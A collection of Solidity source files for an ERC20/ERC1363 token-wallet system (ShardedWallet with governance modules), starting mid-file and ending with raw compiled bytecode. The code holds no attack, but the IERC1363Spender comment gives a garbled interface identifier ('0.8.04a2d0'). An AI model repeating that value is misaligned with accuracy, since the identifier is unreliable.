bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; function _initialize(string memory name_, string memory symbol_) internal virtual { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "../governance/IGovernance.sol"; import "../initializable/Ownable.sol"; import "../initializable/ERC20.sol"; import "../initializable/ERC1363.sol"; contract ShardedWallet is Ownable, ERC20, ERC1363Approve { // bytes32 public constant ALLOW_GOVERNANCE_UPGRADE = bytes32(uint256(keccak256("ALLOW_GOVERNANCE_UPGRADE")) - 1); bytes32 public constant ALLOW_GOVERNANCE_UPGRADE = 0xedde61aea0459bc05d70dd3441790ccfb6c17980a380201b00eca6f9ef50452a; IGovernance public governance; address public artistWallet; event Received(address indexed sender, uint256 value, bytes data); event Execute(address indexed to, uint256 value, bytes data); event ModuleExecute(address indexed module, address indexed to, uint256 value, bytes data); event GovernanceUpdated(address indexed oldGovernance, address indexed newGovernance); event ArtistUpdated(address indexed oldArtist, address indexed newArtist); modifier onlyModule() { require(_isModule(msg.sender), "Access restricted to modules"); _; } /************************************************************************* * Contructor and fallbacks * *************************************************************************/ constructor() { governance = IGovernance(address(0xdead)); } receive() external payable { emit Received(msg.sender, msg.value, bytes("")); } fallback() external payable { address module = governance.getModule(address(this), msg.sig); if (module != address(0) && _isModule(module)) { (bool success, /*bytes memory returndata*/) = module.staticcall(msg.data); // returning bytes in fallback is not supported until solidity 0.8.0 // solhint-disable-next-line no-inline-assembly assembly { returndatacopy(0, 0, returndatasize()) switch success case 0 { revert(0, returndatasize()) } default { return (0, returndatasize()) } } } else { emit Received(msg.sender, msg.value, msg.data); } } /************************************************************************* * Initialization * *************************************************************************/ function initialize( address governance_, address minter_, string calldata name_, string calldata symbol_, address artistWallet_ ) external { require(address(governance) == address(0)); governance = IGovernance(governance_); Ownable._setOwner(minter_); ERC20._initialize(name_, symbol_); artistWallet = artistWallet_; emit GovernanceUpdated(address(0), governance_); } function _isModule(address module) internal view returns (bool) { return governance.isModule(address(this), module); } /************************************************************************* * Owner interactions * *************************************************************************/ function execute(address to, uint256 value, bytes calldata data) external onlyOwner() { Address.functionCallWithValue(to, data, value); emit Execute(to, value, data); } function retrieve(address newOwner) external { ERC20._burn(msg.sender, Math.max(ERC20.totalSupply(), 1)); Ownable._setOwner(newOwner); } /************************************************************************* * Module interactions * *************************************************************************/ function moduleExecute(address to, uint256 value, bytes calldata data) external onlyModule() { if (Address.isContract(to)) { Address.functionCallWithValue(to, data, value); } else { Address.sendValue(payable(to), value); } emit ModuleExecute(msg.sender, to, value, data); } function moduleMint(address to, uint256 value) external onlyModule() { ERC20._mint(to, value); } function moduleBurn(address from, uint256 value) external onlyModule() { ERC20._burn(from, value); } function moduleTransfer(address from, address to, uint256 value) external onlyModule() { ERC20._transfer(from, to, value); } function moduleTransferOwnership(address to) external onlyModule() { Ownable._setOwner(to); } function updateGovernance(address newGovernance) external onlyModule() { emit GovernanceUpdated(address(governance), newGovernance); require(governance.getConfig(address(this), ALLOW_GOVERNANCE_UPGRADE) > 0); require(Address.isContract(newGovernance)); governance = IGovernance(newGovernance); } function updateArtistWallet(address newArtistWallet) external onlyModule() { emit ArtistUpdated(artistWallet, newArtistWallet); artistWallet = newArtistWallet; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IGovernance { function isModule(address, address) external view returns (bool); function isAuthorized(address, address) external view returns (bool); function getModule(address, bytes4) external view returns (address); function getConfig(address, bytes32) external view returns (uint256); function getNiftexWallet() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC1363Receiver interface * @dev Interface for any contract that wants to support `transferAndCall` or `transferFromAndCall` * from ERC1363 token contracts. */ interface IERC1363Receiver { /* * Note: the ERC-165 identifier for this interface is 0x88a7ca5c. * 0x88a7ca5c === bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)")) */ /** * @notice Handle the receipt of ERC1363 tokens * @dev Any ERC1363 smart contract calls this function on the recipient * after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the * transfer. Return of other than the magic value MUST result in the * transaction being reverted. * Note: the token contract address is always the message sender. * @param operator address The address which called `transferAndCall` or `transferFromAndCall` function * @param from address The address which are token transferred from * @param value uint256 The amount of tokens transferred * @param data bytes Additional data with no specified format * @return `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))` * unless throwing */ function onTransferReceived(address operator, address from, uint256 value, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC1363Spender interface * @dev Interface for any contract that wants to support `approveAndCall` * from ERC1363 token contracts. */ interface IERC1363Spender { /* * Note: the ERC-165 identifier for this interface is 0.8.04a2d0. * 0.8.04a2d0 === bytes4(keccak256("onApprovalReceived(address,uint256,bytes)")) */ /** * @notice Handle the approval of ERC1363 tokens * @dev Any ERC1363 smart contract calls this function on the recipient * after an `approve`. This function MAY throw to revert and reject the * approval. Return of other than the magic value MUST result in the * transaction being reverted. * Note: the token contract address is always the message sender. * @param owner address The address which called `approveAndCall` function * @param value uint256 The amount of tokens to be spent * @param data bytes Additional data with no specified format * @return `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))` * unless throwing */ function onApprovalReceived(address owner, uint256 value, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function _setOwner(address owner_) internal { emit OwnershipTransferred(_owner, owner_); _owner = owner_; } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC20.sol"; import "../interface/IERC1363.sol"; import "../interface/IERC1363Receiver.sol"; import "../interface/IERC1363Spender.sol"; abstract contract ERC1363Transfer is ERC20, IERC1363Transfer { function transferAndCall(address to, uint256 value) public override returns (bool) { return transferAndCall(to, value, bytes("")); } function transferAndCall(address to, uint256 value, bytes memory data) public override returns (bool) { require(transfer(to, value)); try IERC1363Receiver(to).onTransferReceived(_msgSender(), _msgSender(), value, data) returns (bytes4 selector) { require(selector == IERC1363Receiver(to).onTransferReceived.selector, "ERC1363: onTransferReceived invalid result"); } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1363: onTransferReceived reverted without reason"); } return true; } function transferFromAndCall(address from, address to, uint256 value) public override returns (bool) { return transferFromAndCall(from, to, value, bytes("")); } function transferFromAndCall(address from, address to, uint256 value, bytes memory data) public override returns (bool) { require(transferFrom(from, to, value)); try IERC1363Receiver(to).onTransferReceived(_msgSender(), from, value, data) returns (bytes4 selector) { require(selector == IERC1363Receiver(to).onTransferReceived.selector, "ERC1363: onTransferReceived invalid result"); } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1363: onTransferReceived reverted without reason"); } return true; } } abstract contract ERC1363Approve is ERC20, IERC1363Approve { function approveAndCall(address spender, uint256 value) public override returns (bool) { return approveAndCall(spender, value, bytes("")); } function approveAndCall(address spender, uint256 value, bytes memory data) public override returns (bool) { require(approve(spender, value)); try IERC1363Spender(spender).onApprovalReceived(_msgSender(), value, data) returns (bytes4 selector) { require(selector == IERC1363Spender(spender).onApprovalReceived.selector, "ERC1363: onApprovalReceived invalid result"); } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1363: onApprovalReceived reverted without reason"); } return true; } } abstract contract ERC1363 is ERC1363Transfer, ERC1363Approve {} // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC1363Transfer { /* * Note: the ERC-165 identifier for this interface is 0x4bbee2df. * 0x4bbee2df === * bytes4(keccak256('transferAndCall(address,uint256)')) ^ * bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^ * bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^ * bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)')) */ /** * @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver * @param to address The address which you want to transfer to * @param value uint256 The amount of tokens to be transferred * @return true unless throwing */ function transferAndCall(address to, uint256 value) external returns (bool); /** * @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver * @param to address The address which you want to transfer to * @param value uint256 The amount of tokens to be transferred * @param data bytes Additional data with no specified format, sent in call to `to` * @return true unless throwing */ function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool); /** * @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 The amount of tokens to be transferred * @return true unless throwing */ function transferFromAndCall(address from, address to, uint256 value) external returns (bool); /** * @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 The amount of tokens to be transferred * @param data bytes Additional data with no specified format, sent in call to `to` * @return true unless throwing */ function transferFromAndCall(address from, address to, uint256 value, bytes calldata data) external returns (bool); } interface IERC1363Approve { /* * Note: the ERC-165 identifier for this interface is 0xfb9ec8ce. * 0xfb9ec8ce === * bytes4(keccak256('approveAndCall(address,uint256)')) ^ * bytes4(keccak256('approveAndCall(address,uint256,bytes)')) */ /** * @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender * and then call `onApprovalReceived` on spender. * @param spender address The address which will spend the funds * @param value uint256 The amount of tokens to be spent */ function approveAndCall(address spender, uint256 value) external returns (bool); /** * @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender * and then call `onApprovalReceived` on spender. * @param spender address The address which will spend the funds * @param value uint256 The amount of tokens to be spent * @param data bytes Additional data with no specified format, sent in call to `spender` */ function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool); } interface IERC1363 is IERC1363Transfer, IERC1363Approve { }
0x6080604052600436106101d85760003560e01c80637b04a2d0116101025780639a0ca43b11610095578063da92b89b11610064578063da92b89b14610573578063eb91d37e14610593578063efcbead9146105a8578063f6a166f5146105dc576101d8565b80639a0ca43b146104ea5780639a35fa82146104ff5780639b3c52f114610533578063a75d047914610553576101d8565b80638c27a38d116100d15780638c27a38d146104565780638c3e55ae146104765780638eebe00e1461049657806393ab6599146104b6576101d8565b80637b04a2d0146103bd5780637c100163146103f65780637cabec9e1461041657806388beb7d414610436576101d8565b8063521eb2731161017a5780636130aec7116101495780636130aec71461033857806366d003ac146103585780636aeb188b146103785780637165485d1461038d576101d8565b8063521eb273146102c55780635581302a146102e55780635f8b8db3146102f8578063603477e314610318576101d8565b806329dcb0cf116101b657806329dcb0cf146102665780634120f88e1461028a578063463f0a6a1461029d57806346aa4229146102a5576101d8565b806313b839ec146101dd5780631bb164411461021a5780631e62d2a614610231575b600080fd5b3480156101e957600080fd5b506000546101fd906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561022657600080fd5b5061022f6105f1565b005b34801561023d57600080fd5b50610246610717565b604080519485526020850193909352918301526060820152608001610211565b34801561027257600080fd5b5061027c600c5481565b604051908152602001610211565b61022f61029836600461360a565b6107bd565b61022f6107f9565b3480156102b157600080fd5b5061022f6102c03660046133c0565b610805565b3480156102d157600080fd5b50600a546101fd906001600160a01b031681565b61022f6102f336600461359d565b610876565b34801561030457600080fd5b5061027c61031336600461356d565b610e08565b34801561032457600080fd5b5061022f610333366004613381565b610f74565b34801561034457600080fd5b5061027c610353366004613381565b611209565b34801561036457600080fd5b50600b546101fd906001600160a01b031681565b34801561038457600080fd5b5061027c61128e565b34801561039957600080fd5b506002546003546103a8919082565b60408051928352602083019190915201610211565b3480156103c957600080fd5b506103dd6103d83660046133eb565b611353565b6040516001600160e01b03199091168152602001610211565b34801561040257600080fd5b506103a861041136600461356d565b611546565b34801561042257600080fd5b5061022f61043136600461356d565b6117ea565b34801561044257600080fd5b5061027c610451366004613381565b61188a565b34801561046257600080fd5b5061022f6104713660046133c0565b6118bd565b34801561048257600080fd5b506001546101fd906001600160a01b031681565b3480156104a257600080fd5b506103a86104b136600461356d565b6118fc565b3480156104c257600080fd5b5061027c7fcfb1dd89e6f4506eca597e7558fbcfe22dbc7e0b9f2b3956e121d0e344d6f7aa81565b3480156104f657600080fd5b50610246611c0f565b34801561050b57600080fd5b5061027c7fdd0618e2e2a17ff193a933618181c8f8909dc169e9707cce1921893a88739ca081565b34801561053f57600080fd5b5061027c61054e36600461356d565b611cb3565b34801561055f57600080fd5b5061022f61056e36600461360a565b611dcb565b34801561057f57600080fd5b5061022f61058e36600461360a565b6120e1565b34801561059f57600080fd5b5061027c61217f565b3480156105b457600080fd5b5061027c7fe4f5729eb40e38b5a39dfb36d76ead9f9bc286f06852595980c5078f1af7e8c981565b3480156105e857600080fd5b5061027c6121b6565b42600c54106105ff57600080fd5b600054600b546001600160a01b0391821691639b5043879130911661062382611209565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b15801561067257600080fd5b505af1158015610686573d6000803e3d6000fd5b5050600154600b546001600160a01b039182169350639b50438792503091166106ae8261188a565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b1580156106fd57600080fd5b505af1158015610711573d6000803e3d6000fd5b50505050565b600080600080600760000154600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561077157600080fd5b505afa158015610785573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a99190613585565b600854600954929791965094509092509050565b60006107ca3384846121ee565b9050348111156107d957600080fd5b803411156107f4576107f4336107ef83346137f0565b6129a7565b505050565b6108033334612ac0565b565b600154604051639b50438760e01b81523360048201526001600160a01b0384811660248301526044820184905290911690639b504387906064015b600060405180830381600087803b15801561085a57600080fd5b505af115801561086e573d6000803e3d6000fd5b505050505050565b600a546001600160a01b03161561088c57600080fd5b6000866001600160a01b03166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b1580156108c757600080fd5b505afa1580156108db573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261090391908101906134c4565b90506000876001600160a01b03166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b15801561094057600080fd5b505afa158015610954573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261097c91908101906134c4565b90506109a77f00000000000000000000000043180a95bb3f51859293b454492e400965229cd5612b96565b6000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556109fd7f00000000000000000000000043180a95bb3f51859293b454492e400965229cd5612b96565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039283161790556000546040519116906390657147903090610a459086906020016136d9565b60405160208183030381529060405284604051602001610a65919061371a565b6040516020818303038152906040526040518463ffffffff1660e01b8152600401610a929392919061375b565b600060405180830381600087803b158015610aac57600080fd5b505af1158015610ac0573d6000803e3d6000fd5b50506001546040516001600160a01b039091169250639065714791503090610aec908690602001613698565b60405160208183030381529060405284604051602001610b0c9190613657565b6040516020818303038152906040526040518463ffffffff1660e01b8152600401610b399392919061375b565b600060405180830381600087803b158015610b5357600080fd5b505af1158015610b67573d6000803e3d6000fd5b5050600a80546001600160a01b03808d1673ffffffffffffffffffffffffffffffffffffffff1992831617909255600b8054928c169290911691909117905550610bb390508342613799565b600c556040516001600160a01b03891681527f908408e307fc569b417f6cbec5d5a06f44a0a505ac0479b47d421a4b2fd6a1e69060200160405180910390a18815610c89576040516323b872dd60e01b81526001600160a01b038781166004830152306024830152604482018b90528916906323b872dd90606401602060405180830381600087803b158015610c4857600080fd5b505af1158015610c5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c80919061346f565b610c8957600080fd5b6002849055600385905560008315610ca15730610ca3565b875b600054604051630baf60eb60e31b81526001600160a01b038084166004830152346024830152929350911690635d7b075890604401600060405180830381600087803b158015610cf257600080fd5b505af1158015610d06573d6000803e3d6000fd5b5050600154604051630baf60eb60e31b81526001600160a01b038581166004830152602482018f90529091169250635d7b07589150604401600060405180830381600087803b158015610d5857600080fd5b505af1158015610d6c573d6000803e3d6000fd5b505034600481905560078d90556040519081526001600160a01b03841692507f6620e0774e01a1d5b97772375d103248f2223f7367ecefa0c580d8230decef5a915060200160405180910390a2806001600160a01b03167f4f0c65dc19ed7bd52ba3051b8d85e779e514fed82d8ae5991b8d21c59d95b6f48b604051610df491815260200190565b60405180910390a250505050505050505050565b6004805460008054604080516318160ddd60e01b8152905192946001600160a01b03909216926318160ddd92828101926020929190829003018186803b158015610e5157600080fd5b505afa158015610e65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e899190613585565b610e965782915050610f6f565b6000610ea28483613799565b610eb485670de0b6b3a76400006137d1565b610ebe91906137b1565b9050610ed281670de0b6b3a76400006137f0565b60008054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610f1e57600080fd5b505afa158015610f32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f569190613585565b610f6090836137d1565b610f6a91906137b1565b925050505b919050565b600080600a60009054906101000a90046001600160a01b03166001600160a01b031663a3342fba6040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc557600080fd5b505afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd91906133a4565b6001600160a01b0316336001600160a01b03161415611040576006546110239083613799565b6009549092506110339082613799565b6000600681905560095590505b600a60009054906101000a90046001600160a01b03166001600160a01b0316635aa6e6756040518163ffffffff1660e01b815260040160206040518083038186803b15801561108e57600080fd5b505afa1580156110a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c691906133a4565b6001600160a01b0316630927d6046040518163ffffffff1660e01b815260040160206040518083038186803b1580156110fe57600080fd5b505afa158015611112573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113691906133a4565b6001600160a01b0316336001600160a01b031614156111795760055461115c9083613799565b60085490925061116c9082613799565b6000600581905560085590505b61118383836129a7565b600a5460405163a9059cbb60e01b81526001600160a01b038581166004830152602482018490529091169063a9059cbb90604401602060405180830381600087803b1580156111d157600080fd5b505af11580156111e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610711919061346f565b600080546040516370a0823160e01b81526001600160a01b038481166004830152909116906370a08231906024015b60206040518083038186803b15801561125057600080fd5b505afa158015611264573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112889190613585565b92915050565b600954600854600a546040516370a0823160e01b81523060048201526000938493909290916001600160a01b03909116906370a082319060240160206040518083038186803b1580156112e057600080fd5b505afa1580156112f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113189190613585565b61132291906137f0565b61132c91906137f0565b600754909150811061134a5760075461134590826137f0565b